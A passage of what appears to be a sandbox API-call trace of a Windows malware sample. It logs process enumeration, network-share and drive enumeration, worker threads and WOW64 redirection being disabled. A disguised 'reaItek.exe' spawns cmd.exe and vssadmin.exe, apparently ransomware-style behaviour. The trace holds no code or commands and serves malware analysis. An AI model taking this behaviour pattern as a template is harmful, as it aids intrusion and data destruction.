th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0117.354] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0117.354] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0117.354] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0117.354] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0117.355] lstrlenW (lpString="blademcdonald.exe") returned 17 [0117.355] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0117.356] lstrlenW (lpString="courage.exe") returned 11 [0117.356] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0117.356] lstrlenW (lpString="pearl.exe") returned 9 [0117.356] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0117.357] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0117.357] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0117.358] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0117.358] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0117.359] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0117.359] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0117.359] lstrlenW (lpString="dome.exe") returned 8 [0117.359] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0117.360] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0117.360] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0117.361] lstrlenW (lpString="paying.exe") returned 10 [0117.361] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0117.361] lstrlenW (lpString="emission.exe") returned 12 [0117.361] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0117.362] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0117.362] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0117.363] lstrlenW (lpString="charter.exe") returned 11 [0117.363] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0117.363] lstrlenW (lpString="nickel.exe") returned 10 [0117.364] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0117.364] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0117.364] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0117.365] lstrlenW (lpString="wrist.exe") returned 9 [0117.365] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0117.366] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0117.366] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0117.367] lstrlenW (lpString="neck.exe") returned 8 [0117.367] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0117.368] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0117.368] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.369] lstrlenW (lpString="svchost.exe") returned 11 [0117.369] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0117.370] lstrlenW (lpString="reaItek.exe") returned 11 [0117.370] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.371] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0117.371] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0117.371] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0117.371] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.372] lstrlenW (lpString="conhost.exe") returned 11 [0117.372] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.373] lstrlenW (lpString="cmd.exe") returned 7 [0117.373] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.374] lstrlenW (lpString="conhost.exe") returned 11 [0117.374] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.374] lstrlenW (lpString="sppsvc.exe") returned 10 [0117.374] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0117.375] lstrlenW (lpString="vssadmin.exe") returned 12 [0117.375] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0117.376] lstrlenW (lpString="LogonUI.exe") returned 11 [0117.376] Process32NextW (in: hSnapshot=0x310, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0117.377] CloseHandle (hObject=0x310) returned 1 [0117.377] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xac8 [0094.522] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0094.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605390 | out: hHeap=0x5c0000) returned 1 Thread: id = 6 os_tid = 0x260 [0094.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605390 [0094.523] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605390, Size=0x20) returned 0x5fea98 [0094.523] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fea98, Size=0x40) returned 0x5da300 [0094.523] GetLogicalDrives () returned 0x4 [0094.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x63af78 [0094.523] GetComputerNameW (in: lpBuffer=0x63af7c, nSize=0x26dff64 | out: lpBuffer="NQDPDE", nSize=0x26dff64) returned 1 [0094.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x61b780 [0094.524] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x5d53b0) returned 0x0 [0094.525] WNetEnumResourceW (in: hEnum=0x5d53b0, lpcCount=0x26dff30, lpBuffer=0x61b780, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x61b780, lpBufferSize=0x26dff38) returned 0x103 [0094.526] WNetCloseEnum (hEnum=0x5d53b0) returned 0x0 [0094.526] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x5d96d8) returned 0x0 [0099.859] WNetEnumResourceW (in: hEnum=0x5d96d8, lpcCount=0x26dff30, lpBuffer=0x61b780, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x61b780, lpBufferSize=0x26dff38) returned 0x0 [0099.859] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x3d02b80 [0099.860] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61b780, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x5d52b0) returned 0x0 [0099.862] WNetEnumResourceW (in: hEnum=0x5d52b0, lpcCount=0x26dff04, lpBuffer=0x3d02b80, lpBufferSize=0x26dff0c | out: lpcCount=0x26dff04, lpBuffer=0x3d02b80, lpBufferSize=0x26dff0c) returned 0x103 [0099.862] WNetCloseEnum (hEnum=0x5d52b0) returned 0x0 [0099.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x3d01b78 [0099.862] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61b7a0, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4b8 [0116.894] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x4316260 [0116.894] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61b7c0, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4c6 [0116.912] WNetEnumResourceW (in: hEnum=0x5d96d8, lpcCount=0x26dff30, lpBuffer=0x61b780, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x61b780, lpBufferSize=0x26dff38) returned 0x103 [0116.912] WNetCloseEnum (hEnum=0x5d96d8) returned 0x0 [0116.912] GetLogicalDrives () returned 0x4 [0116.912] Sleep (dwMilliseconds=0x64) [0117.022] GetLogicalDrives () returned 0x4 [0117.022] Sleep (dwMilliseconds=0x64) [0117.131] GetLogicalDrives () returned 0x4 [0117.131] Sleep (dwMilliseconds=0x64) [0117.258] GetLogicalDrives () returned 0x4 [0117.258] Sleep (dwMilliseconds=0x64) [0117.377] GetLogicalDrives () returned 0x4 [0117.377] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xb0c [0098.272] GetTickCount () returned 0x287c4 [0098.272] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x61f238 [0098.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0098.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0098.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0098.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0098.274] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61a790 [0098.274] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61a790, Size=0x20) returned 0x5feb60 [0098.274] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61a928 [0098.274] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61a928, Size=0x20) returned 0x5fec78 [0098.274] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0098.275] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0098.275] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x0) returned 1 [0098.275] lstrlenW (lpString="kernel32.dll") returned 12 [0098.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb60 | out: hHeap=0x5c0000) returned 1 [0098.275] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0098.275] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0098.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x607700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0098.275] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0099.376] GetTickCount () returned 0x28c19 [0099.376] GetTickCount () returned 0x28c19 [0099.376] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0099.710] GetTickCount () returned 0x28d61 [0099.710] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0099.862] GetTickCount () returned 0x28dfd [0099.862] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0099.997] GetTickCount () returned 0x28e7a [0099.997] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0100.239] GetTickCount () returned 0x28f74 [0100.239] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0100.461] GetTickCount () returned 0x2904f [0100.461] GetTickCount () returned 0x2904f [0100.461] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0100.801] GetTickCount () returned 0x291a7 [0100.801] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0101.209] GetTickCount () returned 0x2933d [0101.209] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0101.349] GetTickCount () returned 0x293ca [0101.349] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0101.925] GetTickCount () returned 0x2960c [0101.925] GetTickCount () returned 0x2960c [0101.925] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0102.255] GetTickCount () returned 0x29754 [0102.255] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0102.765] GetTickCount () returned 0x29958 [0102.765] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0102.922] GetTickCount () returned 0x299f4 [0102.922] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0103.484] GetTickCount () returned 0x29c26 [0103.484] GetTickCount () returned 0x29c26 [0103.484] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0103.654] GetTickCount () returned 0x29cc3 [0103.654] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0104.056] GetTickCount () returned 0x29e59 [0104.056] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0104.254] GetTickCount () returned 0x29f24 [0104.254] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0104.812] GetTickCount () returned 0x2a157 [0104.812] GetTickCount () returned 0x2a157 [0104.812] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0104.924] GetTickCount () returned 0x2a1c4 [0104.924] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.179] GetTickCount () returned 0x2a2be [0105.179] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.295] GetTickCount () returned 0x2a32b [0105.295] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.409] GetTickCount () returned 0x2a3a8 [0105.409] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.524] GetTickCount () returned 0x2a416 [0105.524] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.658] GetTickCount () returned 0x2a4a2 [0105.658] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.793] GetTickCount () returned 0x2a51f [0105.793] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0105.945] GetTickCount () returned 0x2a5bc [0105.945] GetTickCount () returned 0x2a5bc [0105.945] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.124] GetTickCount () returned 0x2a677 [0106.124] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.256] GetTickCount () returned 0x2a6f4 [0106.256] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.390] GetTickCount () returned 0x2a781 [0106.390] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.546] GetTickCount () returned 0x2a81d [0106.546] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.689] GetTickCount () returned 0x2a8aa [0106.689] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.815] GetTickCount () returned 0x2a927 [0106.815] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0106.977] GetTickCount () returned 0x2a9c3 [0106.977] GetTickCount () returned 0x2a9c3 [0106.977] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.116] GetTickCount () returned 0x2aa4f [0107.116] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.234] GetTickCount () returned 0x2aabd [0107.234] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.330] GetTickCount () returned 0x2ab2a [0107.330] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.444] GetTickCount () returned 0x2ab98 [0107.444] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.589] GetTickCount () returned 0x2ac24 [0107.589] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.726] GetTickCount () returned 0x2acb1 [0107.726] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.846] GetTickCount () returned 0x2ad2e [0107.846] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0107.965] GetTickCount () returned 0x2ad9b [0107.965] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.131] GetTickCount () returned 0x2ae47 [0108.131] GetTickCount () returned 0x2ae47 [0108.131] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.258] GetTickCount () returned 0x2aec4 [0108.258] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.363] GetTickCount () returned 0x2af31 [0108.363] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.476] GetTickCount () returned 0x2af9f [0108.476] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.581] GetTickCount () returned 0x2b00c [0108.581] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.860] GetTickCount () returned 0x2b125 [0108.860] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0108.985] GetTickCount () returned 0x2b1a2 [0108.985] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.122] GetTickCount () returned 0x2b21f [0109.122] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.224] GetTickCount () returned 0x2b28d [0109.224] GetTickCount () returned 0x2b28d [0109.224] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.534] GetTickCount () returned 0x2b3c5 [0109.534] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.715] GetTickCount () returned 0x2b471 [0109.715] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.866] GetTickCount () returned 0x2b50d [0109.866] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0110.078] GetTickCount () returned 0x2b5d9 [0110.078] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0110.519] GetTickCount () returned 0x2b79e [0110.519] GetTickCount () returned 0x2b79e [0110.519] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0110.995] GetTickCount () returned 0x2b972 [0110.996] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.157] GetTickCount () returned 0x2ba1e [0111.157] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.360] GetTickCount () returned 0x2bae9 [0111.360] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.509] GetTickCount () returned 0x2bb76 [0111.509] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.685] GetTickCount () returned 0x2bc32 [0111.685] GetTickCount () returned 0x2bc32 [0111.685] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.795] GetTickCount () returned 0x2bc9f [0111.795] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.899] GetTickCount () returned 0x2bd0c [0111.899] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.008] GetTickCount () returned 0x2bd7a [0112.008] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.117] GetTickCount () returned 0x2bde7 [0112.117] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.227] GetTickCount () returned 0x2be54 [0112.227] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.372] GetTickCount () returned 0x2bee1 [0112.372] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.477] GetTickCount () returned 0x2bf4e [0112.477] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.602] GetTickCount () returned 0x2bfcb [0112.602] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.711] GetTickCount () returned 0x2c039 [0112.711] GetTickCount () returned 0x2c039 [0112.711] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.820] GetTickCount () returned 0x2c0a6 [0112.820] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.952] GetTickCount () returned 0x2c123 [0112.952] 